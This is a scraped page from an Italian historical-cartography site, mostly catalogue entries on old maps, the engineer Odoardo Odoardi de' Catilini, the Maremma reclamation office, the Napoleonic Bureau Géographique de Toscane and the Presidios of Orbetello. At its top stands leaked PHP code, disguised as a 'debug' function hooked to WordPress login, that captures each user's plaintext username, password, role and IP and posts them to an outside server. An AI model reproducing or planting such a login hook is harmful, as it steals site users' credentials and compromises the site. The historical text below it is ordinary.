'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>arturo | Digital DISCI

Archivi autore: arturo

Carta di prova

Carta del contado nomentano

Autore: Arturo Gallia
Anno: 2020

Editore / stampatore / tipografo: nessuno

Link:
http://www.cisge.it

Autore della scheda:
Arturo Gallia, 222

Annotazioni:
nessuna annotazione

Topografia del Stato d’Ascoli della Marca con suoi confini

Topografia del Stato d’Ascoli della Marca con suoi confini

Autore: Odoardo Odoardi de' Catilini
Anno: 1680

Editore / stampatore / tipografo:

Link:
http://www.beniculturali.marche.it/Ricerca.aspx?ids=50712 https://commons.wikimedia.org/wiki/File:11_-_Topografia_Del_Stato_D%27Ascoli_Della_Marca_Con_Suoi_Confini,_1680_-_Odoardo_Odoardi_de%27_Catilini.jpg

Rimandi ad altre schede:
11057

Autore della scheda:
Annalisa D'Ascenzo, 222

Annotazioni:

Odoardi de’ Catilini, Odoardo (2019)

Odoardo Odoardi de' Catilini
N. Ascoli Piceno 1651
M. Dalmazia 1685

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere civile e militare

Biografia:
Nato in una ricca famiglia patrizia di Ascoli Piceno, fu ingegnere civile e militare, partecipando alla costruzione di una casa dei Padri dell’Oratorio.
Nel 1680 pubblicò una carta del territorio ascolano dedicata al governatore di Ascoli, monsignor Giandemaria, Commissario apostolico contro il banditismo nei domini ecclesiastici, forse utilizzata per la lotta al fenomeno (Topografia del Stato d’Ascoli della Marca con suoi confini, Ascoli, 1680, mm 270x430), che fu poi copiata da Vincenzo Coronelli e pubblicata con modeste varianti sul suo Atlante Veneto (Venezia, 1690-1699). Nel 1627 presso la Curia romana era stata costituita la Sacra Congregazione dei Confini, che aveva chiesto la redazione di carte dei territori posti ai limiti dello Stato. Il lavoro di Catilini può essere derivato da questo genere di rilievi di uso amministrativo. Il disegno delle località tenta di essere realistico, ma nel complesso è piuttosto rozzo. Nel riquadro a destra una tavola del ciclo solare dell'anno e una schematica rosa dei venti. L'orografia della carta è appena accennata e puramente convenzionale, mentre il tratto dei fiumi è vistosamente sproporzionato. Vi è anche riprodotto il confine con il Regno di Napoli, e con il territorio (qui indicato come Stato) di Montalto e di Macerata.
L’anno successivo diede alle stampe un trattato sulla moderna architettura militare dedicata al Duca di Parma, da lui servito come paggio in giovane età (La moderna architettura militare al Serenissimo Ranuccio II Duca di Parma, Ascoli, 1681).
Cantalamessa Carboni, citando Cinelli, scrive che Odoardi morì in Dalmazia, nel 1685 a 34 anni, mentre ricopriva il ruolo di aiutante generale del principe Alessandro Farnese «con dispiacimento di detto Principe e di tutto l'esercito» (Cantalamessa Carboni, 1830).

Produzione scientifica:
"La moderna architettura militare al Serenissimo Ranuccio II Duca di Parma", Ascoli, 1681.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
"Topografia del Stato d’Ascoli della Marca con suoi confini" (1680) dedicata a Monsignor Giandemaria governatore di Ascoli e Commissario generale Apostolico contra banditi nello Stato Ecclesiastico corredata di una tavola temporale calcolata per le ore degli orologi da campane di Ascoli
[Giorgio Mangani, scheda: http://www.beniculturali.marche.it/Ricerca.aspx?ids=50712]

Fonti d’archivio:

Bibliografia:
Maria Grazia Branchetti, Stampe artistiche e cartografia…, in Daniela Sinisi (Inventario a cura di), Luoghi ritrovati. La Collezione I di disegni e mappe dell’Archivio di Stato di Roma (secoli XVI - XIX), Roma, Ministero dei Beni e delle Attività culturali e del Turismo, Direzione Generale per gli Archivi, 2014, pp. 163-164.
Gabriele Calindri, Saggio statistico storico del Pontificio Stato, Perugia, Garbinesi e Santucci, 1829.
Giacinto Cantalamessa Carboni, Memorie intorno i letterati e gli artisti della città di Ascoli nel Piceno, Ascoli, Cardi, 1830, pp. 227-228.
Giovanni Cinelli Calvoli, Biblioteca volante, Venezia, Albrizzi, 1734.
Giorgio Mangani, Fabio Mariano, Il disegno del territorio. Storia della cartografia delle Marche, Ancona, 1998.
Carlo Promis, Gl’Ingegneri Militari della Marca d’Ancona che operarono e scrissero dall’anno MDL all’anno MDCL, Estratto dal Tomo VI della Miscellanea di Storia Italiana, Torino, Stamperia Reale, 1865, p. 9.

Altro:

Rimandi ad altre schede: Vincenzo Maria Coronelli

Autore della scheda: Annalisa D'Ascenzo, Roma Tre [versione precedente Giorgio Mangani]

Bonificamento della Maremma (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Commissione di Bonificamento (25/11/1828-1833)
Ufficio e Direzione Idraulica di Bonificamento delle Maremme (1833-59)
Direzione Idraulica per il Bonificamento della Maremma (1859-63)
Circolo Tecnico delle Bonifiche (1863-70)

L’Ufficio del Bonificamento venne istituito con il mp del 28 novembre 1828 (con l’iniziale denominazione di Commissione) con cui si dava inizio alla grandiosa impresa della bonifica maremmana nel territorio compreso tra San Vincenzo e l’Alberese, al fine di creare una sorta di ministero decentrato a Grosseto diretto da Alessandro Manetti, sul modello della Soprintendenza chianina, perché (come scrive Emanuele Repetti) il granduca “non giudicò conciliabile di commettere la cura e le operazioni della bonificazione grossetana agli ordinari mezzi amministrativi e di arte” (Cresti e Zangheri, 1978, pp. XXI-XXII).
Con la caduta della dinastia lorenese (27 aprile 1859) e nella breve fase del Governo Provvisorio Toscano, l’Ufficio cambiò la denominazione in Direzione Idraulica per il Bonificamento della Maremma e al Manetti, destituito da ogni incarico, subentrò il suo vecchio collaboratore ingegnere Francesco Renard che di fatto fu alle dipendenze dei due scienziati Gaetano Giorgini e Antonio Salvagnoli Marchetti che ebbero il compito di sovrintendere alle bonifiche maremmane: operazioni che da allora si estesero alla Maremma Orbetellana e puntarono più sulle tecniche della canalizzazione e della separazione delle acque salse e dolci, anziché sulle colmate.
Con l’unità d’Italia, tra il 1860, la Direzione Idraulica mutò il nome in Circolo Tecnico delle Bonifiche posto sempre sotto la direzione del Renard: i lavori tesero a ristagnare e il disimpegno del nuovo Stato fu sancito nel 1870, allorché il Circolo Tecnico venne soppresso e sue le competenze assegnate al Genio Civile di Grosseto, ad eloquente dimostrazione che era da considerarsi conclusa la fase dell’esperienza di forte impegno dirigistico del potere statale.

Con il mp del 1828 venivano decisi la colmata generale del lago di Castiglione della Pescaia e l’avvio della grande bonifica della Maremma a nord dell’Alberese: un’operazione ciclopica che doveva mettere alla prova l’organizzazione statale lorenese.
E’ stato scritto che “la creazione di un unico ente preposto alla bonifica maremmana è la prova della volontà del granduca di inaugurare una politica di interventi globali” (Giuntini, 1989, p. 404). Leopoldo II – come scrisse all’epoca Emanuele Repetti – “non giudicò conciliabile di commettere la cura e le operazioni della bonificazione grossetana agli ordinari mezzi amministrativi e di arte”, e per tale ragione provvide a creare – sul modello della Soprintendenza decentrata ad Arezzo voluta nel 1789 per la realizzazione della colmata della Valdichiana dal Fossombroni che fu il vero ispiratore anche dell’impresa grossetana – una sorta di ministero decentrato con sede a Grosseto, l’Ufficio appunto, diretto sul piano amministrativo fa Ferdinando Capei, su quello economico da Giacomo Grandoni e sul piano tecnico dall’architetto idraulico Alessandro Manetti, con specifica competenza sul territorio della provincia grossetana; le modalità d’intervento di questo organo decentrato dello Stato erano quelle di requisire temporaneamente con la formula dell’affitto i terreni da bonificare, effettuarvi a spese statali le operazioni necessarie e restituire i beni risanati ai legittimi proprietari in cambio del pagamento all’erario di compensi da stabilirsi con opportune stime in proporzione all’avvenuto miglioramento fondiario.
La storiografia ha messo in luce i rilevanti errori di prospettiva progettuale alla base della bonifica grossetana (Fossombroni aveva stimato occorrenti circa otto anni di tempo e un milione di lire di investimento, in realtà non bastarono trenta anni e quasi venti milioni di lire!), ma anche la determinazione e validità del lavoro effettuato dal Manetti e dai suoi collaboratori in parte distaccati dal Corpo degli Ingegneri di Acque e Strade.
Nel 1838 – come leggesi nella monografia Memorie sul bonificamento delle Maremme Toscane di Ferdinando Tartini, edita nel 1838 – nei quattro circondari in cui fu divisa la subregione di attivarono stabilmente gli ingegneri Filippo Passerini di Grosseto, Giovanni Gherardi aretino, Astolfo Soldateschi, Costante Maestrelli, Isidoro Barghini, Gaetano Rosellini, Orazio Bosi, Ferdinando Chini, Lorenzo Frosini e Odoardo Raffanini, con la collaborazione di altri aiuti del Manetti come Francesco Renard, Felice Francolini, Giuseppe Pianigiani e Baldassarre/Baldo Marchi.
Tra costoro, singolare appare la vicenda del giovane poi divenuto professore Giuseppe Pianigiani che – come si legge in una nota di Jacopo Graberg da Hemso del “Giornale Agrario Toscano”, vol. XIII (1839), p. 73 – “desideroso egli di assistere a qualche pratica applicazione degli studii da lui fatti, accorse volontario in Maremma, ove gli venne dato l’incarico di varie ricerche nella potenza, e portata dei fiumi, e canali influenti nel padule di Castiglione, e continuando fino al 1832 poté avere molta parte all’assistenza di alcuni lavori preordinati al bonificamento di quella Maremma: segnò inoltre sul terreno una porzione della via Emilia, e coltivando l’arte del disegno, compose la vignetta, da cui va ornata la carta topografica unita al volume”.
Inizialmente i lavori diretti dall’Ufficio si concentrarono nella pianura grossetana ove tra il 1829 e il 1830 furono scavati i due imponenti canali diversivi che portavano nel padule (parzialmente frazionato in cinque casse di colmata accuratamente arginate) parte delle acque con le rispettive torbide dell’Ombrone. Vennero poi costruiti innumerevoli altri canali secondari (detti colatori e fugatori) e i tre canali principali di Bilogio, San Leopoldo e San Rocco – tutti dotati di ponti cateratte – per il rapido deflusso in mare delle acque chiarificate. Le operazioni si allargarono dalla grande zona umida castiglionese agli acquitrini minori della stessa pianura, come quelli degli Acquisti (con messa in colmata dei corsi d’acqua Bruna e Sovata), Bernardo e Lagacciolo (prosciugati mediante apertura di canali) e dell’Alberese (ove si eseguirono il nuovo canale essiccatore e i potenti argini per rendere la zona umida al sicuro dalle esondazioni dell’Ombrone). Ovunque, venne tracciata o almeno in parte realizzata l’attuale rete rete idrografica con l’inalveazione dei principali corsi d’acqua e l’apertura di nuovi fossi di scolo.
Nelle altre vallate, tra gli anni ’30 e ‘50 i lavori dell’Ufficio interessarono la Val di Pecora nel Massetano, con escavazione di canali per il prosciugamento del padule di Ghirlanda (in parte bonificato da Ximenes) e con la nuova canalizzazione e messa in colmata (con utilizzazione del fiume Pecora) del padule di Scarlino; e la Val di Cornia nel Piombinese e Campigliese, con la messa in colmata (mediante le acque del fiume Cornia) del padule di Piombino e con il prosciugamento parziale del lago di Campiglia-Rimigliano. E’ interessante rilevare il fatto che – per poter procedere alacremente e con utilizzazione delle competenze dell’Ufficio alla bonifica del settore piombinese-campigliese della Maremma, fino a quel momento tradizionalmente dipendente dagli uffici pisani – nel 1835 quelle comunità (di Piombino, Campiglia e Suvereto) furono accorpate alla Provincia Inferiore Senese vale a dire di Grosseto, campo di azione del medesimo Ufficio.
Da allora, dunque, il campo d’intervento dell’Ufficio si estese in tutta l’area costiera compresa fra San Vincenzo a nord e Capalbio-confine pontificio a sud.
Il passaggio della Toscana nel 1859 dalla dominazione lorenese al Governo Provvisorio diretto dal barone Bettino Ricasoli e poi al Regno d’Italia doveva costituire il graduale esaurimento, se non immediatamente la fine, dell’Ufficio variamente ridenominato e, con esso, in pratica della stessa grande bonifica maremmana effettuata con tanta determinazione dallo Stato dell’ultimo granduca.
Con regio decreto del settembre 1860 fu infatti abolita l’intera legislazione granducale, Ufficio compreso che aveva assunto il nome di Direzione Idraulica per il Bonificamento della Maremma sotto la direzione di Francesco Renard già collaboratore del Manetti; il suo personale tecnico e amministrativo venne temporaneamente a costituire il Circolo Tecnico delle Bonifiche sempre sotto la direzione del Renard, finché nel 1870 il Circolo non fu soppresso e le sue competenze trasferite all’ufficio provinciale grossetano del Genio Civile.
Nonostante i lavori fossero pressoché ovunque non ultimati e nell’Orbetellano addirittura appena iniziati, e non di rado ben lontani dal loro completamento, tuttavia i risultati complessivi sono stati considerati di enorme rilievo.
Piuttosto che nel Piombinese, dove le bonifiche dei comprensori palustri di Rimigliano e Piombino incontrarono grosse difficoltà e procedettero a rilento, invece nei circondari di Grosseto e Scarlino oltre la metà dei terreni palustri vennero risanati con le colmate o le canalizzazioni; che dappertutto fu istituito un regolare servizio medico e farmaceutico con sperimentazione di moderne terapie antimalariche; che miglioramenti igienico-sanitari vennero introdotti (specialmente con nuovi acquedotti e fognature) nei centri abitati dopo tanti secoli ora in graduale sviluppo urbanistico e demografico; che tante nuove strade resero più facilmente percorribile la Maremma anche interna e tante nuove piantagioni di pini resero più salubri e paesisticamente fruibili le sue costiere

Produzione cartografica

Molte delle figure cartografiche e di livellazione eseguite nei grandi comprensori di bonifica anche extramaremmani sotto la direzione del Manetti sono in AADF, Fondo Manetti, Cat. C-D-E. Molti dei disegni sono firmati dai suoi principali collaboratori Francesco Renard e Baldassarre Marchi: ad esempio, la livellazione della Chiana, dell’Arno e della Sieve di Francesco Renard del 1848, in D.10; la livellazione dei laghi di Bientina e Massaciuccoli fino al mare e al lago di Fucecchio di Baldassarre Marchi del 1841, in E.6) (Bencivenni, 1990, p. 445).
L’archivio dell’ente è in ASGr, Ufficio del Bonificamento della Maremma, e in ASF, Ufficio di Bonificamento delle Maremma: nei ricchi fondi non si conserva più alcun materiale cartografico, che in larga misura è invece oggi presente in ASF, Segreteria di Gabinetto Appendice e in parte minore in ASGr, Ufficio Fiumi e Fossi.

Operatori

Francesco Renard (che fu, tra l’altro, l’ultimo direttore e nel 1867 redasse il progetto definitivo del nuovo acquedotto di Grosseto alimentato dalle sorgenti di Monteleone); Filippo Passerini, Giovanni Gherardi, Astolfo Soldateschi, Costante Maestrelli, Isidoro Barghini, Gaetano Rosellini, Orazio Bosi, Ferdinando Chini, Lorenzo Frosini e Odoardo Raffanini, Felice Francolini, Giuseppe Pianigiani e Baldassarre/Baldo Marchi, Niccoli, Rossi, Cantagalli, Martelli.

Riferimenti bibliografici e archivistici

Tartini, 1838; Bencivenni, 1990; Pertempi, a cura di, 1990, pp. 47-52; Giuntini, 1989, p. 404; Cresti e Zangheri, 1978, pp. XXI-XXII; Barsanti et Al., 1982; Barsanti, Bonelli Conenna e Rombai, 2001; ASF, Ufficio di Bonificamento delle Maremma, Segreteria di Gabinetto Appendice; AADF, Fondo Manetti; ASGr, Ufficio del Bonificamento della Maremma; ASGr, Ufficio Fiumi e Fossi.

Leonardo Rombai (Siena)

Bureau Géographique de Toscane [Scrittoio Geografico di Toscana] (1801-1811) (Toscana)

Il Bureau fu allestito in epoca napoleonica (precisamente nel 1801, sotto il nuovo Regno di Etruria di Ludovico di Borbone, con sua conferma durante la successiva annessione all’Impero Francese, nel 1897 e almeno fino al 1811), per opera dello studioso livornese ma fiorentino di adozione barone Giovanni De Baillou, specificamente incaricato col titolo di “geografo regio” e poi “imperiale”.
Il ruolo dello Scrittoio Geografico pagabile dall’Imperiale Depositeria il dì 26 dicembre 1807 era assai scarno: infatti consisteva solo nel De Baillou, “geografo dello stato, provvisione annua 5040 lire”, negli ingegneri Giuseppe Baldassarre Puliti e Domenico Piccinetti con provvisione di 1260 lire e nel copista e custode Francesco Giachi con provvisione di 840 lire (ASF, Depositeria Generale. Parte antica, f. 1648/II, ins. 61).
A quanto è dato sapere, il Bureau doveva fornire ad un governo estraneo alla Toscana (quale quello borbonico prima e francese poi) contenuti geografici e specificamente cartografici su tale poco nota regione italiana: non a caso, le operazioni svolte per circa un decennio dal Baillou (misurazioni specialmente geodetiche e barometriche/altimetriche, oltre alle tante osservazioni topografiche e geografiche sul terreno) furono funzionali soprattutto alla costruzione della carta generale del Regno.

Della carta manoscritta della Toscana conosciamo solo la versione (non ancora definitiva) del 1804, in scala di 1:460.000.
La rappresentazione non fu mai stampata e continuò ad essere perfezionata dall’autore fino alla morte; nel 1818, fu venduta insieme ad altre geo-carte dagli eredi al governo lorenese.
Di sicuro, il manoscritto subito dopo la sua redazione fu inoltrato dall’autore stesso al Deposito della Guerra di Milano e servì per la costruzione della celebre Carta militare del Regno d’Etruria e del Principato di Lucca, incisa da Gaudenzio Bordiga e stampata a Milano nel 1806 (Rombai, 1987, pp. 383-384; Rombai, 1990, pp. 178-180, e 1993, pp. 123 e 155-157; Crini, 1993, p. 370).
Si sa, dalle informazioni date dallo stesso De Baillou, che il Bureau intraprese misurazioni astronomiche, altimetriche e trigonometriche per dare basi scientifiche alla carta toscana e soprattutto alle operazioni catastali approvate, in Toscana, prima da Ludovico di Borbone Parma, re d’Etruria, nel 1802 e, nuovamente e questa volta con reale attuazione delle operazioni, tra il 1807 e il 1808, da Napoleone allorché quel Regno venne annesso all’Impero di Francia.
In una significativa lettera del 19 luglio 1811 al geografo statistico svedese, residente a Genova, Graberg De Hemso, Baillou esprime la sua amarezza per il trattamento riservatogli dal governo francese, del tutto immeritatamente, dopo – egli scrive – “tanti servigi resi da me, e dai miei per più generazioni allo Stato”. Si viene così a sapere che al geografo erano stati improvvisamente “tolti i mezzi di continuare le […] operazioni geodetiche e geologiche per la Toscana, dovendole interrompere dopo avervi tanto lavorato”.
In altri termini, pare di capire che all’inizio dell’estate 1811 il Bureau Géographique de Toscane fosse stato soppresso.

Produzione cartografica

Carta Generale fisica, ed itineraria del Regno d’Etruria, e di porzione degli Stati Limitrofi, costruita secondo le più recenti Osservazioni Astronomiche, e con i migliori materiali che si sono potuti raccogliere sotto gli auspici di S.M. la Regina Maria Luisa Infanta di Spagna Reggente del Regno dal Cav.e Giovanni De Baillou, geografo regio e direttore dello Scrittoio Geografico l’anno MDCCCIV (oggi conservata nell’Archivio di Stato di Praga nel fondo Lorena di Toscana: SUAP, RAT, 37).

Operatori

Giovanni De Baillou, “geografo regio” poi “imperiale” (1801-11); Giuseppe Baldassarre Puliti, ingegnere (1807); Domenico Piccinetti, ingegnere (1807); Francesco Giachi, copista e custode (1807).

Riferimenti bibliografici e archivistici

Biagioli, 1975, pp. 19-20, 43 e 52; Rombai, 1987, pp. 383-384; Rombai, 1989, pp. 22-24 e 51-52; Rombai, 1993, pp. 123 e 155-157, e 2001, p. 48; Crini, 1993, p. 370; Toccafondi e Vivoli, 1993, pp. 241-242; Archivio di Stato di Firenze, 1991, pp. 120-121; Barsanti, a cura di, 1992, p. 47. ASF, Acquisti diversi, 317, ins. III, Carteggi scientifici di Giovanni De Baillou geografo imperiale, 1799-1816, lettere del B. all’astronomo Del Riccio, 1809; ASF, Manoscritti, 72, ins. 6; ASF, Prefettura dell’Arno, 485, ins. Dépot de mendicité. Memoria dell’ingegner Jean de Baillou a S.E. il Barone Fauchet, 14 giugno 1810; ASF, Segreteria di Finanze, 2403, n. 27; ASF, Depositeria Generale.Parte antica, f. 1648/II, ins. 61.

A.G. e L. R.

Amministrazione dello Stato dei Presìdi/dos Presidios di Orbetello (1557-1801) (Granducato di Toscana)

Lo Stato dei Presìdi o Presidios di Orbetello (con i territori continentali di Talamone, Orbetello e Monte Argentario) non rappresentò mai uno Stato indipendente, bensì una sorta di appendice coloniale della Spagna prima – che comunque fece gestire il piccolo soggetto politico toscano, strappato all’antico Stato Senese nel 1557 con il trattato di Londra, dall’amministrazione del Vice Reame di Napoli – e dei Borbone di Napoli poi (vale a dire dal 1737-38), a parte la breve parentesi della dominazione austriaca tra il 1708 e il 1737-38. Solo nel 1801, dopo un’occupazione di circa due anni, fu dai francesi separato da Napoli e annesso alla Toscana allora organizzata nel Regno di Etruria, di fatto controllato da Napoleone (Caciagli, 1972).
Come è facile intuire, l’origine dei Presidios toscani, come di quelli africani coevi, risiede della valenza strategica politica e militare del territorio orbetellano – e dell’appendice elbana di Longone strappata al Principato di Piombino nel 1603 e subito fortificata – nei riguardi non solo del controllo della navigazione tirrenica (sia lungo le coste italiane e sia sulle rotte per Corsica e Sardegna) ma anche della difesa dell’Italia dagli attacchi specialmente dei barbareschi: che – non va dimenticato – si erano fatti sempre più frequenti e cruenti proprio negli anni ’40 e ’50 del XVI secolo.
Questo motivo spiega l’anomalia dei Presidios che rappresentano forse l’unico esempio in Italia di territorio che non ha mai veramente goduto di una propria sovranità e neppure, probabilmente, di una vera autonomia amministrativa, nonostante la sopravvivenza delle varie comunità e dei relativi statuti del periodo senese. Venne sempre gestito da un governatore civile o da un comandante militare residenti ad Orbetello, che è da considerare l’unica seppur piccola città e capitale, sempre dotata di vari altri uffici con autorità civili, militari e giudiziarie (Rombai e Ciampi, 1979, pp. 31-32).
Ciò non di meno, l’esigenza vitale di potenziare (anche mediante la costruzione di nuove strutture a Orbetello, Port’Ercole, Porto Santo Stefano e a Longone, come avvenne fra Cinque e Seicento) il sistema delle torri e delle altre principali fortificazioni, come pure tanti altri fabbricati pubblici civili e religiosi, esistenti nel litorale compreso tra i colli dell’Uccellina e il lago padule di Burano spiega la presenza nei Presidios, almeno negli anni ’60 del XVI secolo, di un ingegnere: ciò che risulta da una lettera del 24 febbraio 1571, con la quale l’operatore tecnico militare senese Domenico Giannelli chiedeva di ottenere – come infatti ottenne – “il luogo vacante per la morte dello Ingegnero di Port’Ercole e di Orbetello e Talamone e di Piombino, e insomma di tutti i luoghi di Toscana di Sua Maestà Cattolica” (De Vita, 1980, pp. 163-164).
E’ probabile che la figura dell’ingegnere statale sia stata presente pure successivamente e per tutto il XVIII secolo, in considerazione dell’importanza della gestione sia del patrimonio edilizio pubblico non solo di tipo militare, sia delle proprietà fondiarie demaniali (fatte in larghissima misura di boschi e pasture riuniti in bandite da affittare) di spettanza della Regia Camera, sia dei problemi anche sanitari dati da un territorio in parte pianeggiante solcato da fiumi divaganti e punteggiato da lagune e acquitrini, e sia anche dei problemi giurisdizionali correlati alla presenza di confini indefiniti e non di rado mutevoli con il circostante Granducato di Toscana.
Purtroppo, la scarsa e frammentaria documentazione rinvenuta negli archivi e nelle altre conservatorie sia toscani (Orbetello, Firenze) e romani, e sia spagnoli e napoletani, non è finora servita a restituirci nominativi di tecnici statali stabilmente operanti nei Presidios, ovviamente con le relative produzioni descrittive e cartografiche (Rombai e Ciampi, 1979; Rombai, a cura di, 1980; De Vita, 1980; Ferretti, a cura di, 1982; Principe, a cura di, 1982; Principe, 1988; e Coppi e Rombai, 1988).
E’ comunque possibile ipotizzare il nome dello spagnolo Joseph Bardet de Villanuova, che fu forse residente nei Presìdi ben oltre la dominazione iberica su quel territorio. Egli è autore, infatti, della mappa Frente de Orbitelo della metà circa del XVIII secolo (ISCAG, XVIII.C.1302) e copista nel 1754 della Pianta della Bandita del Tricosto redatta nel 1715 dal capitano ingegnere don Francesco Marinelli, che era allora conservata nella Segreteria della Comanderia dei Presidi di Orbetello (in ASF, Segreteria di Finanze ante 1788, f. 722, n. 6) (Rombai e Ciampi, 1979, pp. 226-227 e 176-177); ed è possibile che anche Marinelli abbia abitato nei Presidios.
E certamente residente nei Presìdi fu il comandante del Forte Stella sargente invalido Giuseppe Oudar, autore nella seconda metà del XVIII secolo della nutrita serie delle precise ed artistiche rappresentazioni (una decina) di tutte le torri costiere dei Presidios (mediante figure multiple costituite da rilievi topografici dell’area, planimetrie e alzati) (ISCAG, XVIII.A.1239, 1241, 1244, 1250, 1254, 1276, 1279, 1283, 1289), oltre che dell’analoga figura relativa al Forte Stella (in ASN, Sezione militare. Segreteria di Guerra, f. 23, inc. 7). E’ da sottolineare che Oudar ha pure firmato, nel 1784, una pianta del magazzino di Orbetello (in ASN, Sezione militare. Segreteria di Guerra, f. 23, inc. 1) (Rombai e Ciampi, 1979, pp. 250-251 e 254-273; e Ferretti, a cura di, 1982, pp. 174-175).
In altri termini, allo stato attuale della ricerca, le non molte altre carte di produzione ‘autoctona’ che si conoscono sembrerebbero attribuibili soprattutto – se non esclusivamente – ad operatori spagnoli o napoletani ‘in trasferta’ nei Presidios per conto delle rispettive amministrazioni centrali.
Limitandomi qui alla produzione manoscritta sicuramente riferibile alle amministrazioni spagnola e napoletana nel periodo che ci interessa (1557-1801), viene naturale la considerazione che potrebbe essere questo il caso della bella carta generale anonima dei Presidios della seconda metà del XVIII secolo (è in ISCAG, XVIII.C.1306 e in BNN, Ba.4b, 45); della già ricordata Pianta della Bandita del Tricosto redatta nel 1715 da Francesco Marinelli, che per molto tempo fu depositata nell’orbetellana Segreteria della Comanderia, e che nel 1754 fu copiata dal Bardet de Villanuova (in ASF, Segreteria di Finanze ante 1788, f. 722, n. 6), e produzione derivata dall’originale marinelliano risulta essere pure quella di Giovanni Castelnuovo Landini del 1792 (in ISCAG, XVII.C.1228).
E potrebbe essere questo pure il caso di tante altre rappresentazioni manoscritte di centri fortificati e singole fortificazioni chiaramente costruite da operatori militari, come: la primo-secentesca Pianta di Orbatello (ISCAG, IV.C.298bis), la primo-settecentesca planimetria Plano de la Plaza de Orbitelo con su proyetto (ISCAG, IV.C.296: altre più o meno coeve hanno segnature IV.C.293; IV.C.295; IV.C.297; XVIII.C.1301; XVIII.C.1310) e la Pianta della R. E. Piazza d’Orbetello ne’ Presidi di Toscana disegnata da Giuseppe Maria Curiel nel 1799 (in BNN, Ba.21b, 82); il Plano de la Plaza di Puerto Ercules y Castillos incontornos risalente al 1737 circa (in BNN, Ba.4b, 43); le tardo-settecentesche varie mappe di Forte Filippo e dintorni e di Port’Ercole e dintorni (rispettivamente in ASN, Sezione militare. Segreteria di Guerra, f. 23, inc. 2, cc. 12-13 e 14-15; e BNN, Ba23, 14; e Ba.25°, 110); il bel Piano de la Plaza de Puerto Longon come esta presentemente del 1753 (in BNN, Ba.25b, 140), e il quasi catastale Piano della Marina immediata, alla Piazza di Longone, in cui si dimostrano tutte le abitazioni, ed altri edifici che vi esistono, disegnato nel 1782 da Luigi Alessandro Dumontier (in ASN, Sezione militare. Segreteria di Guerra, f. 22, inc. I, cc. 5-6) (Rombai e Ciampi, 1979, pp. 168-169, 176-177, 194-199, 214-215, 224-225, 246-249 e 294-295; e Ferretti, a cura di, 1982, pp. 172-173 e 176-179).
Con maggiore sicurezza, l’accordo di confinazione tra Granducato e Presidios del 1792, che si basa su cinque cartografie – intitolate Pianta del confine giurisdizionale concordato fra i Regi Presidj, Stato di Napoli e il Granducato di Toscana (in ASF, Confini, scaff. I, palch. 11, cannone della sez. XXXVIII, tubi 3 e 5; e in ASN, Fondo Piante, cartella 30, nn. 1-5; e in ISCAG, XXXVIII.3.1) – redatte congiuntamente da ingegneri topografi granducali e napoletani (Rombai e Ciampi, 1979, pp. 29-30 e 200-203), dovrebbe essere attribuito a tecnici dipendenti dalle istituzioni centrali: come appunto gli ingegneri Luigi Kindt, per il Granducato, e Giovanni Castelnuovo Landini e Giuseppe Maria Curiel, per il Regno di Napoli, che lo sottoscrissero.
Tuttavia, non è da trascurare il fatto che il nome di Giuseppe Maria Curiel si ripete più volte. Lo abbiamo già trovato nel 1799 con la Pianta della R. E. Piazza d’Orbetello ne’ Presidi di Toscana: nel 1800 è autore di un’altra grande e dettagliata figura, questa volta di tipo topografico, la Pianta d’una parte del Monte Argentale con la laguna orbetellana, prodotto che presuppone quanto meno lunghi rilevamenti nell’area (ISCAG, F.785) (Principe, 1988, p. 118).

Produzione cartografica

Frente de Orbitelo, Joseph Bardet de Villanuova, metà circa del XVIII secolo (in ISCAG, XVIII.C.1302);
